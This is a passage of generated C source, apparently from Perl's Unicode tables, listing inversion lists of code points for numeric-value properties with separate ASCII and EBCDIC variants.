0x17E3, - 0x17F2, - 0x17F3, - 0x1812, - 0x1813, - 0x1948, - 0x1949, - 0x19D2, - 0x19D3, - 0x1A82, - 0x1A83, - 0x1A92, - 0x1A93, - 0x1B52, - 0x1B53, - 0x1BB2, - 0x1BB3, - 0x1C42, - 0x1C43, - 0x1C52, - 0x1C53, - 0x2082, - 0x2083, - 0x2161, - 0x2162, - 0x2171, - 0x2172, - 0x2461, - 0x2462, - 0x2475, - 0x2476, - 0x2489, - 0x248A, - 0x24F6, - 0x24F7, - 0x2777, - 0x2778, - 0x2781, - 0x2782, - 0x278B, - 0x278C, - 0x3022, - 0x3023, - 0x3193, - 0x3194, - 0x3221, - 0x3222, - 0x3281, - 0x3282, - 0x3483, - 0x3484, - 0x4E8C, - 0x4E8D, - 0x5169, - 0x516A, - 0x5F0D, - 0x5F0E, - 0x5F10, - 0x5F11, - 0x8CAE, - 0x8CAF, - 0x8CB3, - 0x8CB4, - 0x8D30, - 0x8D31, - 0xA622, - 0xA623, - 0xA6E7, - 0xA6E8, - 0xA8D2, - 0xA8D3, - 0xA902, - 0xA903, - 0xA9D2, - 0xA9D3, - 0xA9F2, - 0xA9F3, - 0xAA52, - 0xAA53, - 0xABF2, - 0xABF3, - 0xF978, - 0xF979, - 0xFF12, - 0xFF13, - 0x10108, - 0x10109, - 0x1015B, - 0x1015F, - 0x102E2, - 0x102E3, - 0x103D2, - 0x103D3, - 0x104A2, - 0x104A3, - 0x10859, - 0x1085A, - 0x1087A, - 0x1087B, - 0x108A8, - 0x108A9, - 0x1091A, - 0x1091B, - 0x109C1, - 0x109C2, - 0x10A41, - 0x10A42, - 0x10B59, - 0x10B5A, - 0x10B79, - 0x10B7A, - 0x10BAA, - 0x10BAB, - 0x10E61, - 0x10E62, - 0x11053, - 0x11054, - 0x11068, - 0x11069, - 0x110F2, - 0x110F3, - 0x11138, - 0x11139, - 0x111D2, - 0x111D3, - 0x111E2, - 0x111E3, - 0x112F2, - 0x112F3, - 0x11452, - 0x11453, - 0x114D2, - 0x114D3, - 0x11652, - 0x11653, - 0x116C2, - 0x116C3, - 0x11732, - 0x11733, - 0x118E2, - 0x118E3, - 0x11C52, - 0x11C53, - 0x11C5B, - 0x11C5C, - 0x11D52, - 0x11D53, - 0x12400, - 0x12401, - 0x12416, - 0x12417, - 0x1241F, - 0x12420, - 0x12423, - 0x12424, - 0x1242D, - 0x1242E, - 0x12435, - 0x12436, - 0x1244A, - 0x1244B, - 0x12450, - 0x12451, - 0x12456, - 0x12457, - 0x12459, - 0x1245A, - 0x16A62, - 0x16A63, - 0x16B52, - 0x16B53, - 0x1D361, - 0x1D362, - 0x1D7D0, - 0x1D7D1, - 0x1D7DA, - 0x1D7DB, - 0x1D7E4, - 0x1D7E5, - 0x1D7EE, - 0x1D7EF, - 0x1D7F8, - 0x1D7F9, - 0x1E8C8, - 0x1E8C9, - 0x1E952, - 0x1E953, - 0x1F103, - 0x1F104, - 0x22390, - 0x22391 -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__2_invlist[] = { /* for EBCDIC 037 */ - 239, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xEA, - 0xEB, - 0xF2, - 0xF3, - 0x662, - 0x663, - 0x6F2, - 0x6F3, - 0x7C2, - 0x7C3, - 0x968, - 0x969, - 0x9E8, - 0x9E9, - 0xA68, - 0xA69, - 0xAE8, - 0xAE9, - 0xB68, - 0xB69, - 0xBE8, - 0xBE9, - 0xC68, - 0xC69, - 0xC7A, - 0xC7B, - 0xC7D, - 0xC7E, - 0xCE8, - 0xCE9, - 0xD68, - 0xD69, - 0xDE8, - 0xDE9, - 0xE52, - 0xE53, - 0xED2, - 0xED3, - 0xF22, - 0xF23, - 0x1042, - 0x1043, - 0x1092, - 0x1093, - 0x136A, - 0x136B, - 0x17E2, - 0x17E3, - 0x17F2, - 0x17F3, - 0x1812, - 0x1813, - 0x1948, - 0x1949, - 0x19D2, - 0x19D3, - 0x1A82, - 0x1A83, - 0x1A92, - 0x1A93, - 0x1B52, - 0x1B53, - 0x1BB2, - 0x1BB3, - 0x1C42, - 0x1C43, - 0x1C52, - 0x1C53, - 0x2082, - 0x2083, - 0x2161, - 0x2162, - 0x2171, - 0x2172, - 0x2461, - 0x2462, - 0x2475, - 0x2476, - 0x2489, - 0x248A, - 0x24F6, - 0x24F7, - 0x2777, - 0x2778, - 0x2781, - 0x2782, - 0x278B, - 0x278C, - 0x3022, - 0x3023, - 0x3193, - 0x3194, - 0x3221, - 0x3222, - 0x3281, - 0x3282, - 0x3483, - 0x3484, - 0x4E8C, - 0x4E8D, - 0x5169, - 0x516A, - 0x5F0D, - 0x5F0E, - 0x5F10, - 0x5F11, - 0x8CAE, - 0x8CAF, - 0x8CB3, - 0x8CB4, - 0x8D30, - 0x8D31, - 0xA622, - 0xA623, - 0xA6E7, - 0xA6E8, - 0xA8D2, - 0xA8D3, - 0xA902, - 0xA903, - 0xA9D2, - 0xA9D3, - 0xA9F2, - 0xA9F3, - 0xAA52, - 0xAA53, - 0xABF2, - 0xABF3, - 0xF978, - 0xF979, - 0xFF12, - 0xFF13, - 0x10108, - 0x10109, - 0x1015B, - 0x1015F, - 0x102E2, - 0x102E3, - 0x103D2, - 0x103D3, - 0x104A2, - 0x104A3, - 0x10859, - 0x1085A, - 0x1087A, - 0x1087B, - 0x108A8, - 0x108A9, - 0x1091A, - 0x1091B, - 0x109C1, - 0x109C2, - 0x10A41, - 0x10A42, - 0x10B59, - 0x10B5A, - 0x10B79, - 0x10B7A, - 0x10BAA, - 0x10BAB, - 0x10E61, - 0x10E62, - 0x11053, - 0x11054, - 0x11068, - 0x11069, - 0x110F2, - 0x110F3, - 0x11138, - 0x11139, - 0x111D2, - 0x111D3, - 0x111E2, - 0x111E3, - 0x112F2, - 0x112F3, - 0x11452, - 0x11453, - 0x114D2, - 0x114D3, - 0x11652, - 0x11653, - 0x116C2, - 0x116C3, - 0x11732, - 0x11733, - 0x118E2, - 0x118E3, - 0x11C52, - 0x11C53, - 0x11C5B, - 0x11C5C, - 0x11D52, - 0x11D53, - 0x12400, - 0x12401, - 0x12416, - 0x12417, - 0x1241F, - 0x12420, - 0x12423, - 0x12424, - 0x1242D, - 0x1242E, - 0x12435, - 0x12436, - 0x1244A, - 0x1244B, - 0x12450, - 0x12451, - 0x12456, - 0x12457, - 0x12459, - 0x1245A, - 0x16A62, - 0x16A63, - 0x16B52, - 0x16B53, - 0x1D361, - 0x1D362, - 0x1D7D0, - 0x1D7D1, - 0x1D7DA, - 0x1D7DB, - 0x1D7E4, - 0x1D7E5, - 0x1D7EE, - 0x1D7EF, - 0x1D7F8, - 0x1D7F9, - 0x1E8C8, - 0x1E8C9, - 0x1E952, - 0x1E953, - 0x1F103, - 0x1F104, - 0x22390, - 0x22391 -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__2_SLASH_3_invlist[] = { /* for all charsets */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2154, - 0x2155, - 0x10177, - 0x10178, - 0x109FD, - 0x109FE, - 0x10E7E, - 0x10E7F, - 0x1245B, - 0x1245C, - 0x1245E, - 0x1245F, - 0x12466, - 0x12467 -}; - -static const UV PL_NV__2_SLASH_5_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2156, - 0x2157 -}; - -static const UV PL_NV__20_invlist[] = { /* for all charsets */ - 63, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1373, - 0x1374, - 0x2473, - 0x2474, - 0x2487, - 0x2488, - 0x249B, - 0x249C, - 0x24F4, - 0x24F5, - 0x3039, - 0x303A, - 0x3249, - 0x324A, - 0x5344, - 0x5345, - 0x5EFF, - 0x5F00, - 0x10111, - 0x10112, - 0x102EB, - 0x102EC, - 0x103D4, - 0x103D5, - 0x1085C, - 0x1085D, - 0x1087F, - 0x10880, - 0x108AE, - 0x108AF, - 0x108FE, - 0x108FF, - 0x10918, - 0x10919, - 0x109CA, - 0x109CB, - 0x10A45, - 0x10A46, - 0x10A9F, - 0x10AA0, - 0x10AEE, - 0x10AEF, - 0x10B5D, - 0x10B5E, - 0x10B7D, - 0x10B7E, - 0x10BAE, - 0x10BAF, - 0x10E6A, - 0x10E6B, - 0x1105C, - 0x1105D, - 0x111EB, - 0x111EC, - 0x1173B, - 0x1173C, - 0x118EB, - 0x118EC, - 0x11C64, - 0x11C65, - 0x1D36A, - 0x1D36B -}; - -static const UV PL_NV__200_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1011A, - 0x1011B, - 0x102F4, - 0x102F5, - 0x109D3, - 0x109D4, - 0x10E73, - 0x10E74 -}; - -static const UV PL_NV__2000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x10123, - 0x10124, - 0x109DC, - 0x109DD -}; - -static const UV PL_NV__20000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1012C, - 0x1012D, - 0x109E5, - 0x109E6 -}; - -static const UV PL_NV__200000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x109EE, - 0x109EF -}; - -static const UV PL_NV__21_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3251, - 0x3252 -}; - -static const UV PL_NV__216000_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x12432, - 0x12433 -}; - -static const UV PL_NV__22_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3252, - 0x3253 -}; - -static const UV PL_NV__23_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3253, - 0x3254 -}; - -static const UV PL_NV__24_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3254, - 0x3255 -}; - -static const UV PL_NV__25_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3255, - 0x3256 -}; - -static const UV PL_NV__26_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3256, - 0x3257 -}; - -static const UV PL_NV__27_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3257, - 0x3258 -}; - -static const UV PL_NV__28_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3258, - 0x3259 -}; - -static const UV PL_NV__29_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x3259, - 0x325A -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__3_invlist[] = { /* for ASCII/Latin1 */ - 235, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x33, - 0x34, - 0xB3, - 0xB4, - 0x663, - 0x664, - 0x6F3, - 0x6F4, - 0x7C3, - 0x7C4, - 0x969, - 0x96A, - 0x9E9, - 0x9EA, - 0xA69, - 0xA6A, - 0xAE9, - 0xAEA, - 0xB69, - 0xB6A, - 0xBE9, - 0xBEA, - 0xC69, - 0xC6A, - 0xC7B, - 0xC7C, - 0xC7E, - 0xC7F, - 0xCE9, - 0xCEA, - 0xD69, - 0xD6A, - 0xDE9, - 0xDEA, - 0xE53, - 0xE54, - 0xED3, - 0xED4, - 0xF23, - 0xF24, - 0x1043, - 0x1044, - 0x1093, - 0x1094, - 0x136B, - 0x136C, - 0x17E3, - 0x17E4, - 0x17F3, - 0x17F4, - 0x1813, - 0x1814, - 0x1949, - 0x194A, - 0x19D3, - 0x19D4, - 0x1A83, - 0x1A84, - 0x1A93, - 0x1A94, - 0x1B53, - 0x1B54, - 0x1BB3, - 0x1BB4, - 0x1C43, - 0x1C44, - 0x1C53, - 0x1C54, - 0x2083, - 0x2084, - 0x2162, - 0x2163, - 0x2172, - 0x2173, - 0x2462, - 0x2463, - 0x2476, - 0x2477, - 0x248A, - 0x248B, - 0x24F7, - 0x24F8, - 0x2778, - 0x2779, - 0x2782, - 0x2783, - 0x278C, - 0x278D, - 0x3023, - 0x3024, - 0x3194, - 0x3195, - 0x3222, - 0x3223, - 0x3282, - 0x3283, - 0x4E09, - 0x4E0A, - 0x4EE8, - 0x4EE9, - 0x53C1, - 0x53C5, - 0x5F0E, - 0x5F0F, - 0xA623, - 0xA624, - 0xA6E8, - 0xA6E9, - 0xA8D3, - 0xA8D4, - 0xA903, - 0xA904, - 0xA9D3, - 0xA9D4, - 0xA9F3, - 0xA9F4, - 0xAA53, - 0xAA54, - 0xABF3, - 0xABF4, - 0xF96B, - 0xF96C, - 0xFF13, - 0xFF14, - 0x10109, - 0x1010A, - 0x102E3, - 0x102E4, - 0x104A3, - 0x104A4, - 0x1085A, - 0x1085B, - 0x1087B, - 0x1087C, - 0x108A9, - 0x108AA, - 0x1091B, - 0x1091C, - 0x109C2, - 0x109C3, - 0x10A42, - 0x10A43, - 0x10B5A, - 0x10B5B, - 0x10B7A, - 0x10B7B, - 0x10BAB, - 0x10BAC, - 0x10E62, - 0x10E63, - 0x11054, - 0x11055, - 0x11069, - 0x1106A, - 0x110F3, - 0x110F4, - 0x11139, - 0x1113A, - 0x111D3, - 0x111D4, - 0x111E3, - 0x111E4, - 0x112F3, - 0x112F4, - 0x11453, - 0x11454, - 0x114D3, - 0x114D4, - 0x11653, - 0x11654, - 0x116C3, - 0x116C4, - 0x11733, - 0x11734, - 0x118E3, - 0x118E4, - 0x11C53, - 0x11C54, - 0x11C5C, - 0x11C5D, - 0x11D53, - 0x11D54, - 0x12401, - 0x12402, - 0x12408, - 0x12409, - 0x12417, - 0x12418, - 0x12420, - 0x12421, - 0x12424, - 0x12426, - 0x1242E, - 0x12430, - 0x12436, - 0x12438, - 0x1243A, - 0x1243C, - 0x1244B, - 0x1244C, - 0x12451, - 0x12452, - 0x12457, - 0x12458, - 0x16A63, - 0x16A64, - 0x16B53, - 0x16B54, - 0x1D362, - 0x1D363, - 0x1D7D1, - 0x1D7D2, - 0x1D7DB, - 0x1D7DC, - 0x1D7E5, - 0x1D7E6, - 0x1D7EF, - 0x1D7F0, - 0x1D7F9, - 0x1D7FA, - 0x1E8C9, - 0x1E8CA, - 0x1E953, - 0x1E954, - 0x1F104, - 0x1F105, - 0x20AFD, - 0x20AFE, - 0x20B19, - 0x20B1A, - 0x22998, - 0x22999, - 0x23B1B, - 0x23B1C -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__3_invlist[] = { /* for EBCDIC 1047 */ - 235, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF3, - 0xF4, - 0xFA, - 0xFB, - 0x663, - 0x664, - 0x6F3, - 0x6F4, - 0x7C3, - 0x7C4, - 0x969, - 0x96A, - 0x9E9, - 0x9EA, - 0xA69, - 0xA6A, - 0xAE9, - 0xAEA, - 0xB69, - 0xB6A, - 0xBE9, - 0xBEA, - 0xC69, - 0xC6A, - 0xC7B, - 0xC7C, - 0xC7E, - 0xC7F, - 0xCE9, - 0xCEA, - 0xD69, - 0xD6A, - 0xDE9, - 0xDEA, - 0xE53, - 0xE54, - 0xED3, - 0xED4, - 0xF23, - 0xF24, - 0x1043, - 0x1044, - 0x1093, - 0x1094, - 0x136B, - 0x136C, - 0x17E3, - 0x17E4, - 0x17F3, - 0x17F4, - 0x1813, - 0x1814, - 0x1949, - 0x194A, - 0x19D3, - 0x19D4, - 0x1A83, - 0x1A84, - 0x1A93, - 0x1A94, - 0x1B53, - 0x1B54, - 0x1BB3, - 0x1BB4, - 0x1C43, - 0x1C44, - 0x1C53, - 0x1C54, - 0x2083, - 0x2084, - 0x2162, - 0x2163, - 0x2172, - 0x2173, - 0x2462, - 0x2463, - 0x2476, - 0x2477, - 0x248A, - 0x248B, - 0x24F7, - 0x24F8, - 0x2778, - 0x2779, - 0x2782, - 0x2783, - 0x278C, - 0x278D, - 0x3023, - 0x3024, - 0x3194, - 0x3195, - 0x3222, - 0x3223, - 0x3282, - 0x3283, - 0x4E09, - 0x4E0A, - 0x4EE8, - 0x4EE9, - 0x53C1, - 0x53C5, - 0x5F0E, - 0x5F0F, - 0xA623, - 0xA624, - 0xA6E8, - 0xA6E9, - 0xA8D3, - 0xA8D4, - 0xA903, - 0xA904, - 0xA9D3, - 0xA9D4, - 0xA9F3, - 0xA9F4, - 0xAA53, - 0xAA54, - 0xABF3, - 0xABF4, - 0xF96B, - 0xF96C, - 0xFF13, - 0xFF14, - 0x10109, - 0x1010A, - 0x102E3, - 0x102E4, - 0x104A3, - 0x104A4, - 0x1085A, - 0x1085B, - 0x1087B, - 0x1087C, - 0x108A9, - 0x108AA, - 0x1091B, - 0x1091C, - 0x109C2, - 0x109C3, - 0x10A42, - 0x10A43, - 0x10B5A, - 0x10B5B, - 0x10B7A, - 0x10B7B, - 0x10BAB, - 0x10BAC, - 0x10E62, - 0x10E63, - 0x11054, - 0x11055, - 0x11069, - 0x1106A, - 0x110F3, - 0x110F4, - 0x11139, - 0x1113A, - 0x111D3, - 0x111D4, - 0x111E3, - 0x111E4, - 0x112F3, - 0x112F4, - 0x11453, - 0x11454, - 0x114D3, - 0x114D4, - 0x11653, - 0x11654, - 0x116C3, - 0x116C4, - 0x11733, - 0x11734, - 0x118E3, - 0x118E4, - 0x11C53, - 0x11C54, - 0x11C5C, - 0x11C5D, - 0x11D53, - 0x11D54, - 0x12401, - 0x12402, - 0x12408, - 0x12409, - 0x12417, - 0x12418, - 0x12420, - 0x12421, - 0x12424, - 0x12426, - 0x1242E, - 0x12430, - 0x12436, - 0x12438, - 0x1243A, - 0x1243C, - 0x1244B, - 0x1244C, - 0x12451, - 0x12452, - 0x12457, - 0x12458, - 0x16A63, - 0x16A64, - 0x16B53, - 0x16B54, - 0x1D362, - 0x1D363, - 0x1D7D1, - 0x1D7D2, - 0x1D7DB, - 0x1D7DC, - 0x1D7E5, - 0x1D7E6, - 0x1D7EF, - 0x1D7F0, - 0x1D7F9, - 0x1D7FA, - 0x1E8C9, - 0x1E8CA, - 0x1E953, - 0x1E954, - 0x1F104, - 0x1F105, - 0x20AFD, - 0x20AFE, - 0x20B19, - 0x20B1A, - 0x22998, - 0x22999, - 0x23B1B, - 0x23B1C -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__3_invlist[] = { /* for EBCDIC 037 */ - 235, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF3, - 0xF4, - 0xFA, - 0xFB, - 0x663, - 0x664, - 0x6F3, - 0x6F4, - 0x7C3, - 0x7C4, - 0x969, - 0x96A, - 0x9E9, - 0x9EA, - 0xA69, - 0xA6A, - 0xAE9, - 0xAEA, - 0xB69, - 0xB6A, - 0xBE9, - 0xBEA, - 0xC69, - 0xC6A, - 0xC7B, - 0xC7C, - 0xC7E, - 0xC7F, - 0xCE9, - 0xCEA, - 0xD69, - 0xD6A, - 0xDE9, - 0xDEA, - 0xE53, - 0xE54, - 0xED3, - 0xED4, - 0xF23, - 0xF24, - 0x1043, - 0x1044, - 0x1093, - 0x1094, - 0x136B, - 0x136C, - 0x17E3, - 0x17E4, - 0x17F3, - 0x17F4, - 0x1813, - 0x1814, - 0x1949, - 0x194A, - 0x19D3, - 0x19D4, - 0x1A83, - 0x1A84, - 0x1A93, - 0x1A94, - 0x1B53, - 0x1B54, - 0x1BB3, - 0x1BB4, - 0x1C43, - 0x1C44, - 0x1C53, - 0x1C54, - 0x2083, - 0x2084, - 0x2162, - 0x2163, - 0x2172, - 0x2173, - 0x2462, - 0x2463, - 0x2476, - 0x2477, - 0x248A, - 0x248B, - 0x24F7, - 0x24F8, - 0x2778, - 0x2779, - 0x2782, - 0x2783, - 0x278C, - 0x278D, - 0x3023, - 0x3024, - 0x3194, - 0x3195, - 0x3222, - 0x3223, - 0x3282, - 0x3283, - 0x4E09, - 0x4E0A, - 0x4EE8, - 0x4EE9, - 0x53C1, - 0x53C5, - 0x5F0E, - 0x5F0F, - 0xA623, - 0xA624, - 0xA6E8, - 0xA6E9, - 0xA8D3, - 0xA8D4, - 0xA903, - 0xA904, - 0xA9D3, - 0xA9D4, - 0xA9F3, - 0xA9F4, - 0xAA53, - 0xAA54, - 0xABF3, - 0xABF4, - 0xF96B, - 0xF96C, - 0xFF13, - 0xFF14, - 0x10109, - 0x1010A, - 0x102E3, - 0x102E4, - 0x104A3, - 0x104A4, - 0x1085A, - 0x1085B, - 0x1087B, - 0x1087C, - 0x108A9, - 0x108AA, - 0x1091B, - 0x1091C, - 0x109C2, - 0x109C3, - 0x10A42, - 0x10A43, - 0x10B5A, - 0x10B5B, - 0x10B7A, - 0x10B7B, - 0x10BAB, - 0x10BAC, - 0x10E62, - 0x10E63, - 0x11054, - 0x11055, - 0x11069, - 0x1106A, - 0x110F3, - 0x110F4, - 0x11139, - 0x1113A, - 0x111D3, - 0x111D4, - 0x111E3, - 0x111E4, - 0x112F3, - 0x112F4, - 0x11453, - 0x11454, - 0x114D3, - 0x114D4, - 0x11653, - 0x11654, - 0x116C3, - 0x116C4, - 0x11733, - 0x11734, - 0x118E3, - 0x118E4, - 0x11C53, - 0x11C54, - 0x11C5C, - 0x11C5D, - 0x11D53, - 0x11D54, - 0x12401, - 0x12402, - 0x12408, - 0x12409, - 0x12417, - 0x12418, - 0x12420, - 0x12421, - 0x12424, - 0x12426, - 0x1242E, - 0x12430, - 0x12436, - 0x12438, - 0x1243A, - 0x1243C, - 0x1244B, - 0x1244C, - 0x12451, - 0x12452, - 0x12457, - 0x12458, - 0x16A63, - 0x16A64, - 0x16B53, - 0x16B54, - 0x1D362, - 0x1D363, - 0x1D7D1, - 0x1D7D2, - 0x1D7DB, - 0x1D7DC, - 0x1D7E5, - 0x1D7E6, - 0x1D7EF, - 0x1D7F0, - 0x1D7F9, - 0x1D7FA, - 0x1E8C9, - 0x1E8CA, - 0x1E953, - 0x1E954, - 0x1F104, - 0x1F105, - 0x20AFD, - 0x20AFE, - 0x20B19, - 0x20B1A, - 0x22998, - 0x22999, - 0x23B1B, - 0x23B1C -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__3_SLASH_16_invlist[] = { /* for all charsets */ - 9, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x9F6, - 0x9F7, - 0xB77, - 0xB78, - 0xD78, - 0xD79, - 0xA835, - 0xA836 -}; - -static const UV PL_NV__3_SLASH_2_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xF2B, - 0xF2C -}; - -static const UV PL_NV__3_SLASH_20_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD5D, - 0xD5E -}; - -# if 'A' == 65 /* ASCII/Latin1 */ - -static const UV PL_NV__3_SLASH_4_invlist[] = { /* for ASCII/Latin1 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xBE, - 0xBF, - 0x9F8, - 0x9F9, - 0xB74, - 0xB75, - 0xD75, - 0xD76, - 0xA832, - 0xA833, - 0x10178, - 0x10179, - 0x109FE, - 0x109FF -}; - -# endif /* ASCII/Latin1 */ - -# if 'A' == 193 /* EBCDIC 1047 */ \ - && '\\' == 224 && '[' == 173 && ']' == 189 && '{' == 192 && '}' == 208 \ - && '^' == 95 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__3_SLASH_4_invlist[] = { /* for EBCDIC 1047 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB9, - 0xBA, - 0x9F8, - 0x9F9, - 0xB74, - 0xB75, - 0xD75, - 0xD76, - 0xA832, - 0xA833, - 0x10178, - 0x10179, - 0x109FE, - 0x109FF -}; - -# endif /* EBCDIC 1047 */ - -# if 'A' == 193 /* EBCDIC 037 */ \ - && '\\' == 224 && '[' == 186 && ']' == 187 && '{' == 192 && '}' == 208 \ - && '^' == 176 && '~' == 161 && '!' == 90 && '#' == 123 && '|' == 79 \ - && '$' == 91 && '@' == 124 && '`' == 121 - -static const UV PL_NV__3_SLASH_4_invlist[] = { /* for EBCDIC 037 */ - 15, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xB9, - 0xBA, - 0x9F8, - 0x9F9, - 0xB74, - 0xB75, - 0xD75, - 0xD76, - 0xA832, - 0xA833, - 0x10178, - 0x10179, - 0x109FE, - 0x109FF -}; - -# endif /* EBCDIC 037 */ - -static const UV PL_NV__3_SLASH_5_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x2157, - 0x2158 -}; - -static const UV PL_NV__3_SLASH_8_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x215C, - 0x215D -}; - -static const UV PL_NV__3_SLASH_80_invlist[] = { /* for all charsets */ - 3, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0xD5A, - 0xD5B -}; - -static const UV PL_NV__30_invlist[] = { /* for all charsets */ - 33, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1374, - 0x1375, - 0x303A, - 0x303B, - 0x324A, - 0x324B, - 0x325A, - 0x325B, - 0x5345, - 0x5346, - 0x10112, - 0x10113, - 0x10165, - 0x10166, - 0x102EC, - 0x102ED, - 0x109CB, - 0x109CC, - 0x10E6B, - 0x10E6C, - 0x1105D, - 0x1105E, - 0x111EC, - 0x111ED, - 0x118EC, - 0x118ED, - 0x11C65, - 0x11C66, - 0x1D36B, - 0x1D36C, - 0x20983, - 0x20984 -}; - -static const UV PL_NV__300_invlist[] = { /* for all charsets */ - 11, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element beyond 0 */ - 0x0, - 0x1011B, - 0x1011C, - 0x1016B, - 0x1016C, - 0x102F5, - 0x102F6, - 0x109D4, - 0x109D5, - 0x10E74, - 0x10E75 -}; - -static const UV PL_NV__3000_invlist[] = { /* for all charsets */ - 5, /* Number of elements */ - 148565664, /* Version and data structure type */ - 1, /* 0 if the list starts at 0; - 1 if it starts at the element 